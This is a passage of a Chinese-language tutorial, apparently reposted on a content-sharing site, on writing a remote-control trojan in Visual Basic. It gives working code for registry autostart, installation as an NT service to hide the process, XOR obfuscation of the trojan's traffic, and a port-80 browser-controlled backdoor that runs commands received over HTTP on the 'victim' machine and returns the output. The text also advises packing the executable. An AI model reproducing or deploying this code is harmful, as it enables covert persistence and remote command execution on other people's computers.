'使用方法:AutoRun([用戶類型{0,1}],[啟動順序{0,1}],[鍵值說明{string}])
'例如:AutoRun(0,0,"Hello")表示在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices寫入一個(gè)名稱為Hello的鍵值
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Sub AutoRun(iType As Integer,iStart As Integer,sAppName As String)
Dim sKeyName As String
Dim sKeyValue As String
Dim Ret As Long
Dim lphKey As Long
Dim sApplication As String
Dim RegSetKey As Long
Dim hKey As Long
sApplication = Trim$(App.Path) & "\" & Trim$(App.EXEName & ".EXE")
If iStart = 0 Then
sKeyName = "Software\Microsoft\Windows\CurrentVersion\RunServices"
Else
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run"
End If
'設(shè)置自啟動項(xiàng)
sKeyValue = sApplication
If iType = 0 Then
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, sKeyName, lphKey)
Else
Ret = RegCreateKey(HKEY_CURRENT_USER, sKeyName, lphKey)
End If
Ret = RegSetValueEx(lphKey, sAppName, 0, 1, ByVal sKeyValue, Len(sKeyValue))
Ret = RegCloseKey(lphKey)
End Sub
===================================================
5.Win2000/XP下的啟動——NT-Service篇
由于2000/XP強(qiáng)大的任務(wù)管理功能,在9x/Me中無法看到的進(jìn)程,在2000/XP里暴露無遺,而且Win2000/XP也取消了RegisterServiceProcess這個(gè)API,因?yàn)閮蓚€(gè)系統(tǒng)里“服務(wù)”的概念不同。
NT架構(gòu)采用一種稱為“NT-Service”的技術(shù)來實(shí)現(xiàn)類似UNIX系統(tǒng)的守護(hù)進(jìn)程功能,可以簡單理解成跟隨系統(tǒng)啟動后,無論用戶是否登錄注銷都一直運(yùn)行著的進(jìn)程(你見過有哪臺服務(wù)器是整天開著GUI界面的嗎?),具體介紹請看第5期TOo2y的文章。服務(wù)控制管理器(Service Control Manager)是NT服務(wù)的核心。
采用NT-Service方式啟動的程序不會在任務(wù)管理器里顯示,而且不會因?yàn)橛脩舻淖N而停止運(yùn)行,因此在2000/XP里使用NT-Service編程可以同時(shí)實(shí)現(xiàn)高質(zhì)量的自啟動和隱藏進(jìn)程。
微軟并不推薦用VB寫NT-Service,理由是不穩(wěn)定,但是經(jīng)過我實(shí)際測試,證實(shí)VB寫的NT-Service可以穩(wěn)定的持續(xù)運(yùn)行很久,就是在服務(wù)控制上有點(diǎn)問題,例如不能用net pause、net stop來處理,會返回“沒有響應(yīng)操作”信息,也許是我的處理函數(shù)有問題。
VB寫NT-Service有幾個(gè)方法,一種是用ActiveX,這里不推薦;另一種是通過一個(gè)Type Library文件(VB里用于引入外部成員函數(shù)的一種方式)和線程代碼實(shí)現(xiàn),這樣生成的EXE至少在52KB以上;第三種是完全API寫SCM代碼,這里僅推薦這種方法。
NT-Service入口必須寫在Main()函數(shù)里,并且用Main()啟動程序,不能寫在窗體代碼里,SCM找不到Service入口會造成程序無法啟動成為NT-Service。一些函數(shù)是固定的,不能隨意更改,如ServiceMain函數(shù),它負(fù)責(zé)整個(gè)NT-Service執(zhí)行和管理。
程序代碼不能放在NT-Service循環(huán)體內(nèi)(除非是計(jì)數(shù)變量,否則會造成代碼死循環(huán)),而是在Main()的StartServiceCtrlDispatcher后加入處理代碼或者加載窗體。注意必須檢測系統(tǒng)是否為NT類型,否則一樣會冒出個(gè)“找不到DLL入口”,然后程序崩潰-_-b
VB代碼(代碼比較長,文章附源代碼文件):
===================================================
Public Const SERVICE_WIN32_OWN_PROCESS = &H10&
Public Const SERVICE_WIN32_SHARE_PROCESS = &H20&
Public Const SERVICE_WIN32 = SERVICE_WIN32_OWN_PROCESS + _
SERVICE_WIN32_SHARE_PROCESS
Public Const SERVICE_ACCEPT_STOP = &H1
Public Const SERVICE_ACCEPT_PAUSE_CONTINUE = &H2
Public Const SERVICE_ACCEPT_SHUTDOWN = &H4
Public Const SC_MANAGER_CONNECT = &H1
Public Const SC_MANAGER_CREATE_SERVICE = &H2
Public Const SC_MANAGER_ENUMERATE_SERVICE = &H4
Public Const SC_MANAGER_LOCK = &H8
Public Const SC_MANAGER_QUERY_LOCK_STATUS = &H10
Public Const SC_MANAGER_MODIFY_BOOT_CONFIG = &H20
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SERVICE_QUERY_CONFIG = &H1
Public Const SERVICE_CHANGE_CONFIG = &H2
Public Const SERVICE_QUERY_STATUS = &H4
Public Const SERVICE_ENUMERATE_DEPENDENTS = &H8
Public Const SERVICE_START = &H10
Public Const SERVICE_STOP = &H20
Public Const SERVICE_PAUSE_CONTINUE = &H40
Public Const SERVICE_INTERROGATE = &H80
Public Const SERVICE_USER_DEFINED_CONTROL = &H100
Public Const SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED Or _
SERVICE_QUERY_CONFIG Or _
SERVICE_CHANGE_CONFIG Or _
SERVICE_QUERY_STATUS Or _
SERVICE_ENUMERATE_DEPENDENTS Or _
SERVICE_START Or _
SERVICE_STOP Or _
SERVICE_INTERROGATE Or _
SERVICE_USER_DEFINED_CONTROL)
Public Const SERVICE_DEMAND_START As Long = &H3
Public Const SERVICE_ERROR_NORMAL As Long = &H1
Public Enum SERVICE_CONTROL
SERVICE_CONTROL_STOP = &H1
SERVICE_CONTROL_PAUSE = &H2
SERVICE_CONTROL_CONTINUE = &H3
SERVICE_CONTROL_INTERROGATE = &H4
SERVICE_CONTROL_SHUTDOWN = &H5
End Enum
Public Enum SERVICE_STATE
SERVICE_STOPPED = &H1
SERVICE_START_PENDING = &H2
SERVICE_STOP_PENDING = &H3
SERVICE_RUNNING = &H4
SERVICE_CONTINUE_PENDING = &H5
SERVICE_PAUSE_PENDING = &H6
SERVICE_PAUSED = &H7
End Enum
Public Type SERVICE_TABLE_ENTRY
lpServiceName As String
lpServiceProc As Long
lpServiceNameNull As Long
lpServiceProcNull As Long
End Type
Public Type SERVICE_STATUS
dwServiceType As Long
dwCurrentState As Long
dwControlsAccepted As Long
dwWin32ExitCode As Long
dwServiceSpecificExitCode As Long
dwCheckPoint As Long
dwWaitHint As Long
End Type
Public Declare Function OpenSCManager Lib "advapi32.dll" Alias _
"OpenSCManagerA" (ByVal lpMachineName As String, _
ByVal lpDatabaseName As String, ByVal dwDesiredAccess As Long) As Long
Public Declare Function CloseServiceHandle Lib "advapi32.dll" (ByVal hSCObject _
As Long) As Long
Public Declare Function OpenService Lib "advapi32.dll" Alias "OpenServiceA" _
(ByVal hSCManager As Long, ByVal lpServiceName As String, _
ByVal dwDesiredAccess As Long) As Long
Public Declare Function StartService Lib "advapi32.dll" Alias "StartServiceA" _
(ByVal hService As Long, ByVal dwNumServiceArgs As Long, _
ByVal lpServiceArgVectors As Long) As Long
Public Declare Function ControlService Lib "advapi32.dll" (ByVal hService As _
Long, ByVal dwControl As Long, lpServiceStatus As SERVICE_STATUS) As Long
Public Declare Function StartServiceCtrlDispatcher _
Lib "advapi32.dll" Alias "StartServiceCtrlDispatcherA" _
(lpServiceStartTable As SERVICE_TABLE_ENTRY) As Long
Public Declare Function RegisterServiceCtrlHandler _
Lib "advapi32.dll" Alias "RegisterServiceCtrlHandlerA" _
(ByVal lpServiceName As String, ByVal lpHandlerProc As Long) _
As Long
Public Declare Function SetServiceStatus _
Lib "advapi32.dll" (ByVal hServiceStatus As Long, _
lpServiceStatus As SERVICE_STATUS) As Long
Public Declare Function CreateService _
Lib "advapi32.dll" Alias "CreateServiceA" _
(ByVal hSCManager As Long, ByVal lpServiceName As String, _
ByVal lpDisplayName As String, ByVal dwDesiredAccess As Long, _
ByVal dwServiceType As Long, ByVal dwStartType As Long, _
ByVal dwErrorControl As Long, ByVal lpBinaryPathName As String, _
ByVal lpLoadOrderGroup As String, ByVal lpdwTagId As String, _
ByVal lpDependencies As String, ByVal lp As String, _
ByVal lpPassword As String) As Long
Public Declare Function DeleteService _
Lib "advapi32.dll" (ByVal hService As Long) As Long
Public hServiceStatus As Long
Public ServiceStatus As SERVICE_STATUS
Public Const SERVICE_NAME As String = "NT-Service" '服務(wù)名
Sub ServiceMain(ByVal dwArgc As Long, ByVal lpszArgv As Long)
Dim B As Boolean
Dim U As Long
Dim Z As Long
'初始化
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS
ServiceStatus.dwCurrentState = SERVICE_START_PENDING
'設(shè)置狀態(tài)
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP _
Or SERVICE_ACCEPT_PAUSE_CONTINUE _
Or SERVICE_ACCEPT_SHUTDOWN
ServiceStatus.dwWin32ExitCode = 0
ServiceStatus.dwServiceSpecificExitCode = 0
ServiceStatus.dwCheckPoint = 0
ServiceStatus.dwWaitHint = 0
hServiceStatus = RegisterServiceCtrlHandler(SERVICE_NAME, _
AddressOf Handler)
ServiceStatus.dwCurrentState = SERVICE_START_PENDING
B = SetServiceStatus(hServiceStatus, ServiceStatus)
ServiceStatus.dwCurrentState = SERVICE_RUNNING
B = SetServiceStatus(hServiceStatus, ServiceStatus)
End Sub
Sub Handler(ByVal fdwControl As Long)
Dim B As Boolean
Dim U As Long
Select Case fdwControl
Case SERVICE_CONTROL_PAUSE
ServiceStatus.dwCurrentState = SERVICE_PAUSED
Case SERVICE_CONTROL_CONTINUE
ServiceStatus.dwCurrentState = SERVICE_RUNNING
Case SERVICE_CONTROL_STOP
ServiceStatus.dwWin32ExitCode = 0
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING
ServiceStatus.dwCheckPoint = 0
ServiceStatus.dwWaitHint = 0
B = SetServiceStatus(hServiceStatus, ServiceStatus)
ServiceStatus.dwCurrentState = SERVICE_STOPPED
Case SERVICE_CONTROL_INTERROGATE
Case Else
End Select
B = SetServiceStatus(hServiceStatus, ServiceStatus)
End Sub
Function HandlerEx(ByVal command As Long) As Boolean
Dim hSCM As Long
Dim hService As Long
Dim res As Long
Dim lpServiceStatus As SERVICE_STATUS
If command < 0 Or command > 3 Then Err.Raise 5
hSCM = OpenSCManager(vbNullString, vbNullString, GENERIC_EXECUTE)
If hSCM = 0 Then Exit Function
hService = OpenService(hSCM, SERVICE_NAME, GENERIC_EXECUTE)
If hService = 0 Then GoTo CleanUp
Select Case command
Case 0
res = StartService(hService, 0, 0)
Case SERVICE_CONTROL_STOP, SERVICE_CONTROL_PAUSE, _
SERVICE_CONTROL_CONTINUE
res = ControlService(hService, command, lpServiceStatus)
End Select
If res = 0 Then GoTo CleanUp
ServiceCommand = True
CleanUp:
If hService Then CloseServiceHandle hService
CloseServiceHandle hSCM
End Function
Function FncPtr(ByVal fnp As Long) As Long
FncPtr = fnp
End Function
Sub Main()
On Error Resume Next
Dim hSCManager As Long
Dim hService As Long
Dim ServiceTableEntry As SERVICE_TABLE_ENTRY
Dim B As Boolean
Dim cmd As String
Dim U As Long
cmd = Trim(LCase(command()))
Select Case cmd
Case "-uninstall"
If CheckIsNT = False Then End: Exit Sub
hSCManager = OpenSCManager(vbNullString, vbNullString, _
SC_MANAGER_CREATE_SERVICE)
hService = OpenService(hSCManager, SERVICE_NAME, _
SERVICE_ALL_ACCESS)
DeleteService hService
CloseServiceHandle hService
CloseServiceHandle hSCManager
End
Case "-install"
If CheckIsNT = False Then Load frmMain: Exit Sub
'安裝NT-Service
hSCManager = OpenSCManager(vbNullString, vbNullString, _
SC_MANAGER_CREATE_SERVICE)
hService = CreateService(hSCManager, SERVICE_NAME, _
SERVICE_NAME, SERVICE_ALL_ACCESS, _
SERVICE_WIN32_OWN_PROCESS, _
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, App.Path & "\" & App.EXEName & ".EXE", vbNullString, _
vbNullString, vbNullString, vbNullString, _
vbNullString)
CloseServiceHandle hService
CloseServiceHandle hSCManager
DoEvents
Shell Path & App.EXEName & ".EXE" '重新啟動EXE
End
Case Else
'啟動NT-Service
If CheckIsNT = False Then Load frmMain: Exit Sub
ServiceTableEntry.lpServiceName = SERVICE_NAME
ServiceTableEntry.lpServiceProc = FncPtr(AddressOf ServiceMain)
B = StartServiceCtrlDispatcher(ServiceTableEntry)
Load frmMain '加載窗體,開始運(yùn)行程序主體
End Select
End Sub
===================================================
十二、報(bào)文加密和報(bào)文格式
由于木馬有時(shí)候傳輸?shù)氖敲舾行畔?,而且?shù)據(jù)包會被攔截分析,因此必須盡量少用不經(jīng)過任何處理的明文傳遞數(shù)據(jù),而是把明文數(shù)據(jù)加密成亂字符密文后發(fā)送,確保不被人偽造假命令或者竊取信息。
加密的思路其實(shí)不用很復(fù)雜,只要把它理解為貨物出站時(shí)加一個(gè)包裝箱,接收方拿到貨物后打開箱子就可以了,只需在send時(shí)把字符串進(jìn)行加密(Encrypt)就可以,對方recv后立即解密(Decrypt)就得到原始數(shù)據(jù),接下來如何處理就看后面的代碼了,例如:
===================================================
'加密后發(fā)送數(shù)據(jù)
rc = Encrypt(rc, "a") '加密
SendData wParam, rc
'接收并解密
Do
szBuf = String(256, 0)
lRet = recv(wParam, ByVal szBuf, Len(szBuf), 0)
If lRet > 0 Then sData = sData + Left$(szBuf, lRet)
Loop Until lRet <= 0
sData = Decrypt(sData, "a")
sData = Trim$(sData)
===================================================
加密的方式有很多種,具體用哪種并不重要,重要的是,這種加密是否很容易被破譯,最簡單的一種方法是把原始數(shù)據(jù)的每個(gè)字符ASCII代碼都減去1,這樣出來的數(shù)據(jù)也可以算是面目全非了,接收后再把它們的ASCII值加上1即可。但是要想做比較強(qiáng)的加密,我推薦用密鑰加密,破譯的難度至少大一些。
VB代碼:
===================================================
'解密
Function Decrypt(PlainStr As String, key As String)
Dim Char As String, KeyChar As String, NewStr As String
Dim Pos As Integer
Dim i As Integer, Side1 As String, Side2 As String
Pos = 1
If Len(PlainStr) Mod 2 = 0 Then
Side1 = StrReverse(Left(PlainStr, (Len(PlainStr) / 2)))
Side2 = StrReverse(Right(PlainStr, (Len(PlainStr) / 2)))
PlainStr = Side1 & Side2
End If
For i = 1 To Len(PlainStr)
Char = Mid(PlainStr, i, 1)
KeyChar = Mid(key, Pos, 1)
NewStr = NewStr & Chr(Asc(Char) Xor Asc(KeyChar))
If Pos = Len(key) Then Pos = 0
Pos = Pos + 1
Next i
Decrypt = NewStr
End Function
'加密
Function Encrypt(PlainStr As String, key As String)
Dim Char As String, KeyChar As String, NewStr As String
Dim Pos As Integer
Dim i As Integer, Side1 As String, Side2 As String
Pos = 1
For i = 1 To Len(PlainStr)
Char = Mid(PlainStr, i, 1)
KeyChar = Mid(key, Pos, 1)
NewStr = NewStr & Chr(Asc(Char) Xor Asc(KeyChar))
If Pos = Len(key) Then Pos = 0
Pos = Pos + 1
Next i
If Len(NewStr) Mod 2 = 0 Then
Side1 = StrReverse(Left(NewStr, (Len(NewStr) / 2)))
Side2 = StrReverse(Right(NewStr, (Len(NewStr) / 2)))
NewStr = Side1 & Side2
End If
Encrypt = NewStr
End Function
===================================================
除了加密,報(bào)文的格式也是重要的。沒有制作經(jīng)驗(yàn)的初學(xué)者往往不明白格式的重要性,而是直接把數(shù)據(jù)不加修飾的發(fā)送出去,如果功能少點(diǎn)還可以,如果功能多了,出錯的機(jī)會也就大了。有的新手直接把漢字或其他非英文字符直接發(fā)出去,這更會引起不必要的麻煩,因?yàn)槿澜绮⒉皇侵挥兄袊膊皇侵挥兄形腤indows,世界上還有韓文Windows、英文Windows等不支持中文內(nèi)碼的操作系統(tǒng),它們會導(dǎo)致你的木馬返回的數(shù)據(jù)變成亂碼,正如在中文Windows上運(yùn)行BIG5內(nèi)碼程序或日文內(nèi)碼程序一樣。
沒必要為報(bào)文格式定個(gè)標(biāo)準(zhǔn),只要是自己處理起來方便的就可以。例如下面的報(bào)文:
HBUTROJAN/.../550/.../NOTWRITE/.../c:\windows\win.ini
我用“/.../”劃分這個(gè)報(bào)文區(qū)域,因?yàn)檫@樣的分割標(biāo)記不容易被一些例外數(shù)據(jù)干擾,把分隔符去除后得到:
[前導(dǎo)標(biāo)記] [ASCII代碼] [信息1] [信息2]
客戶端/服務(wù)端程序接收翻譯部分代碼的分解:
1.[前導(dǎo)標(biāo)記] 預(yù)先定義為HBUTROJAN,如果用InStr或Left得不到這個(gè)數(shù)據(jù),則表示程序接收到的數(shù)據(jù)并非服務(wù)端/客戶端發(fā)送來的,跳出處理過程。如果含有這個(gè)標(biāo)記,則進(jìn)行下一個(gè)區(qū)域的處理。
2.[ASCII代碼] 用數(shù)字做標(biāo)識碼,分別對應(yīng)不同情況,例如200代表正常,404代表文件未找到,550表示權(quán)限拒絕等。
3.[信息1] 這里用于進(jìn)一步解釋返回的數(shù)據(jù)含義。
4.[信息2] 補(bǔ)充說明。
所以HBUTROJAN/.../550/.../NOTWRITE/.../c:\windows\win.ini經(jīng)過翻譯后可以知道要表達(dá)的是:無法寫入文件 c:\windows\win.ini
經(jīng)過這樣的格式處理,把詳細(xì)資料都放在程序內(nèi)部進(jìn)行翻譯,而不是直接把要做的事傳來傳去,“含蓄”的木馬通??梢宰屓嗣坏筋^腦,呵呵。
十三、B/S模式
瀏覽器-服務(wù)器模式(Browser-Server,B/S)提供了一種簡便的交互界面,無需專用的Client連接。Server端在受害者的機(jī)器等待入侵者用Internet Explorer等瀏覽器來發(fā)送命令,并以HTML頁面方式返回返回?cái)?shù)據(jù)。
要制作基于B/S模式的木馬,前提是了解HTTP協(xié)議和基礎(chǔ)的HTML制作,你不用學(xué)會制作復(fù)雜的表格,但是必須會最基本的表單提交,這是Browser與Server交互的唯一方式。
1.HTTP協(xié)議
HTTP協(xié)議使用TCP協(xié)議和明文字符傳遞數(shù)據(jù),一個(gè)基本的HTTP請求如下(<CR>代表換行符):
===================================================
GET /index.htm HTTP/1.0<CR>
Accept:*/*<CR>
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)<CR>
Host:www.target.com<CR>
<CR>
<CR>
===================================================
HTTP請求可以略分為3個(gè)分段:
1.基本數(shù)據(jù):GET /index.htm HTTP/1.0<CR>
表示用GET方法請求根目錄的index.htm,使用HTTP1.0的協(xié)議版本,用換行符表示結(jié)束。
2.附加數(shù)據(jù):Accept:*/*<CR>
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)<CR>
Host:www.target.com<CR>
跟隨在HTTP/1.0后一行開始的字符無論有多少,都只是一種附加數(shù)據(jù),用于詳細(xì)說明該次HTTP請求需要什么細(xì)節(jié)設(shè)置,一般比較重要的是Set-Cookie和Referer信息。
3.結(jié)束標(biāo)志:<CR><CR>(兩個(gè)換行符)
這是表示HTTP請求結(jié)尾的標(biāo)志,服務(wù)器必須接收到至少2個(gè)換行符才會對這次的HTTP報(bào)文進(jìn)行處理。
根據(jù)HTTP報(bào)文格式,按照理論我們可以從基本數(shù)據(jù)段和附加數(shù)據(jù)段去開發(fā)B/S,但是由于瀏覽器不能讓我們自定義附加數(shù)據(jù),所以實(shí)際上只有用基本數(shù)據(jù)來控制木馬。
2.最重要的HTML交互——表單提交
相信大家都知道在HTML頁面里點(diǎn)擊一個(gè)按鈕發(fā)表文章帖子,這時(shí)候?yàn)g覽器的后臺操作是怎么樣的呢?例如這段表單:
<form action="register"><p size=9px> 名字 <input type="text" name="UserName"></p><p> 年齡 <input name="Age" type="text"></p><input type="submit" value="注冊"></form>
用工具捕獲IE輸出,可以看到點(diǎn)擊按鈕后實(shí)際是發(fā)送了以下HTTP請求:
PUT /register?UserName=LK007&Age=18 HTTP/1.0
Accept:text/html
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Host:www.target.com
雖然里面有我們需要的數(shù)據(jù),但是無用數(shù)據(jù)也太多了,所以必須用一段代碼去除枝葉,保留核心。
===================================================
Function ProcHTTP(strData As String) As String
'去除HTTP請求中的基本數(shù)據(jù)頭尾、附加數(shù)據(jù)、結(jié)束標(biāo)志
'Author:LK007
'使用方法:字符變量=ProcHTTP([HTTP報(bào)文])
On Error Resume Next
Dim FindGet As Integer, FindPost As Integer, spc2 As Integer
If Mid$(strData$, 1, 3) = "GET" Then '如果以GET開頭
FindGet = InStr(strData$, "GET ")
spc2 = InStr(FindGet + 5, strData$, " ") ' 取得第二個(gè)空格分隔符位置(“HTTP”字符)
ProcHTTP = Trim$(Mid$(strData$, FindGet + 4, spc2 - (FindGet + 4))) '分離數(shù)據(jù)
ElseIf Mid$(strData$, 1, 4) = "POST" Then '如果以POST開頭
FindPost = InStr(strData$, "POST ")
spc2 = InStr(FindPost + 5, strData$, " ") '取第二個(gè)空格
ProcHTTP = Trim$(Mid$(strData$, FindPost + 5, spc2 - (FindPost + 5))) '分離數(shù)據(jù)
End If
End Function
===================================================
一個(gè)完整的HTTP請求經(jīng)過這段代碼后變成:
/register?UserName=LK007&Age=18
這才是我們需要的核心部分,分析它的報(bào)文格式:
[目標(biāo)文件]?[附加數(shù)據(jù)1=數(shù)據(jù)]&[附加數(shù)據(jù)2=數(shù)據(jù)]&..............
應(yīng)用在木馬中,可以這樣理解:
[命令]?[參數(shù)1=值]&[參數(shù)2=值]&......
例如:/writefile?filename=c:\windows\desktop\user.txt&text=hello,nice%20to%20meet%20you
它表示用寫入文件的命令往c:\windows\desktop\user.txt寫入內(nèi)容“hello,nice to meet you”,瀏覽器輸出的中文和特殊字符報(bào)文必須經(jīng)過URL編碼,因此空格被編碼成了%20。
3.B/S交互制作
(1).輸出HTML
鑒于TCP協(xié)議的木馬都是開個(gè)端口監(jiān)聽,和HTTP服務(wù)沒什么兩樣,因此不必為B/S模式接收部分編寫另外的代碼,直接在recv里判斷報(bào)文是否以GET/PUT開頭即可。如果是一個(gè)HTTP請求則執(zhí)行一段預(yù)先寫好的HTML頁面輸出過程,例如:
===================================================
Function DefaultHTML()
On Error Resume Next
Dim x As String
x = "HTTP/1.1 200 OK" & vbCrLf
x = x & "Server: HBU Trojan" & vbCrLf & vbCrLf
x = x & vbCrLf & "<HTML><HEAD><TITLE>B/S Example .::Powered by 小金::.</TITLE>" & _
"<META content=""text/html; charset=gb2312"" http-equiv=Content-Type>" & _
"</HEAD><BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff>" & _
"<p align=""center""><b><font size=""6"" color=""#000066"">顯示目錄</font></b></p>" & _
"<hr width=""100%"" size=""1"" color=""#FFFFFF"" ><table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr><td width=""41%""><form action=""dir""><p size=9px> 路徑 <input type=""text"" name=""directory"" value=""c:\""></p><p> 文件類型 <input name=""filter"" type=""text"" value=""*.*""></p><input type=""submit"" value=""顯示""></form></td></tr></table><hr width=""100%"" size=""1"" color=""#FFFFFF"" ><p align=""center""><font face=""Arial"" size=""2"" color=""#FFFFFF""><b>© 2003 小金 制作 </b></font></p></BODY></HTML>"
DefaultHTML = x
End Function
===================================================
這段代碼輸出一個(gè)包含HTML內(nèi)容的字符串,用Winsock發(fā)送出去就顯示成一個(gè)簡單的HTML頁面了。
(2).表單提交和控制
先看一段表單模型:
<form action=[控制命令]><p>[內(nèi)容描述]<input type="text" name=[參數(shù)1]></p><p>[內(nèi)容描述2]<input type="text" name=[參數(shù)2]></p><input type="submit" value=[描述]><form>
注意<input type="submit" value=[描述]>,這是個(gè)提交按鈕,必須省略它的NAME屬性(完整的提交按鈕格式是<input type="submit" name=[參數(shù)] value=[描述]>),否則瀏覽器會在所有數(shù)據(jù)后追加一個(gè)附加數(shù)據(jù)用于表示按鈕,這樣我們前面提到的“/register?UserName=LK007&Age=18”就會變成“/register?UserName=LK007&Age=18&[按鈕NAME]=[按鈕Value]”,對程序分割命令段沒什么好處。
服務(wù)端接收到一個(gè)HTTP請求并去除枝葉后,就要對它進(jìn)行分解,把命令和參數(shù)分離。
例如:
/dir?directory=c:\&filter=*.*
VB代碼分解:
===================================================
Dim strURL As String
Dim sCommand As String '命令
Dim sValue(15) As String '最大處理16個(gè)參數(shù)
Dim sTmp As String, sLength As Integer, i As Integer
strURL = "/dir?directory=c:\&filter=*.*"
strURL = Trim$(Right$(strURL, Len(strURL) - 1)) '去除"/"
sCommand = Left$(strURL, InStr(strURL, "?") - 1) '分割命令和參數(shù)
sTmp = Right(strURL, (Len(strURL) - Len(sCommand) - 1))
For i = 0 To 15
If InStr(sTmp, "&") = 0 Then sValue(i) = sTmp: Exit For
sValue(i) = Left$(sTmp, InStr(sTmp, "&") - 1)
sTmp = Right(sTmp, (Len(sTmp) - Len(sValue(i)) - 1))
Next
Select Case sCommand
Case "dir"
Dim sDir As String
Dim sFilter As String
For i = 0 To 15
If InStr(sValue(i), "directory=") <> 0 Then
sDir = Right$(sValue(i), Len(sValue(i)) - 10) 'Len("directory=")=10
ElseIf InStr(sValue(i), "filter=") <> 0 Then
sFilter = Right$(sValue(i), Len(sValue(i)) - 7) 'Len("filter=")=7
Else
End If
Next
Case .....
Case Else
End Select
===================================================
最終得到命令“dir c:\*.*”。
然后可以用多種方法執(zhí)行這個(gè)命令,如Shell、CreateProcess等,把執(zhí)行結(jié)果用一個(gè)HTML頁面返回?cái)?shù)據(jù):
===================================================
Function OutputHTML(sData As String)
On Error Resume Next
Dim x As String
x = "HTTP/1.1 200 OK" & vbCrLf
x = x & "Server: HBU Trojan" & vbCrLf & vbCrLf
x = x & vbCrLf & "<HTML><HEAD><TITLE>B/S Example .::Powered by 小金::.</TITLE>" & _
"<META content=""text/html; charset=gb2312"" http-equiv=Content-Type>" & _
"</HEAD><BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff>" & _
"<p align=""center""><b><font size=""6"" color=""#000066"">查看目錄</font></b></p>" & _
"<hr width=""100%"" size=""1"" color=""#FFFFFF"" ><table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr><td width=""41%""><p align=""center""><font color=""#FFFFFF"" size=""6""><b><font size=""7""><pre>" & sData & "</pre></font></b></font></p></td></tr></table><hr width=""100%"" size=""1"" color=""#FFFFFF"" ><p align=""center""><font face=""Arial"" size=""2"" color=""#FFFFFF""><b>© 2003 小金 制作 </b></font></p></BODY></HTML>"
OutputHTML = x
End Function
===================================================
4.與加密報(bào)文沖突的解決
由于HTTP使用明文傳輸,所以支持B/S模式的木馬就必須用明文傳輸,這似乎與前面的報(bào)文加密沖突,其實(shí)只要在發(fā)送和接收的時(shí)候判斷一下HTTP請求和HTML頁面的特征字符串就可以了。
===================================================
'加密后發(fā)送數(shù)據(jù)
If InStr(rc,"<HTML><HEAD><TITLE>")=0 Then rc = Encrypt(rc, "a") '如果沒有發(fā)現(xiàn)HTML特征就加密
SendData wParam, rc
'接收并解密
Do
szBuf = String(256, 0)
lRet = recv(wParam, ByVal szBuf, Len(szBuf), 0)
If lRet > 0 Then sData = sData + Left$(szBuf, lRet)
Loop Until lRet <= 0
If InStr(sData,"HTTP/") =0 Then sData = Decrypt(sData, "a") '如果沒有HTTP請求的特征就解密
sData = Trim$(sData)
===================================================
限于篇幅問題,B/S控制就簡單的介紹到這里了。
十四、編譯和加殼
雖然去除了ActiveX,但是VB程序必須依靠VB運(yùn)行庫才能運(yùn)行,所以推薦用VB5.0編譯成EXE,因?yàn)閃in9x沒有自帶MSVBVM60.DLL。加殼也是必要的,可以盡量減小VB程序的體積,也避免EXE文件被隨意修改。用API寫的VB木馬一般可以將體積控制在64KB以下。
十五、源代碼
附上一個(gè)簡單的帶有自啟動、隱藏進(jìn)程、NT-Service、B/S控制(端口80)的木馬例子,希望能給大家?guī)硪稽c(diǎn)制作經(jīng)驗(yàn)。由于直接使用瀏覽器控制,所以就偷懶不寫Client端了,實(shí)際應(yīng)用中最好能讓木馬同時(shí)支持C/S、B/S。
十六、寫在最后
本來想寫成一篇比較詳細(xì)完整的文章的,可是后來才發(fā)現(xiàn)要寫的東西太多了,要學(xué)的東西也太多了,作者水平有限,介紹得不夠詳細(xì)還請見諒。學(xué)無止境,只要學(xué)會了,就不必耿耿于選擇語言,更不要輕視任何一門相對比較薄弱的語言,既然它能存在,就有它的優(yōu)點(diǎn)。學(xué)多幾種語言不如學(xué)精一種語言,否則,即使用C++,也不可能寫出好程序,前面提過了,一個(gè)程序反映出的是作者的功底,不是寫這個(gè)程序的語言好壞。學(xué)好自己選中的語言,不看低其他語言,這才是最實(shí)際的。
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請
點(diǎn)擊舉報(bào)。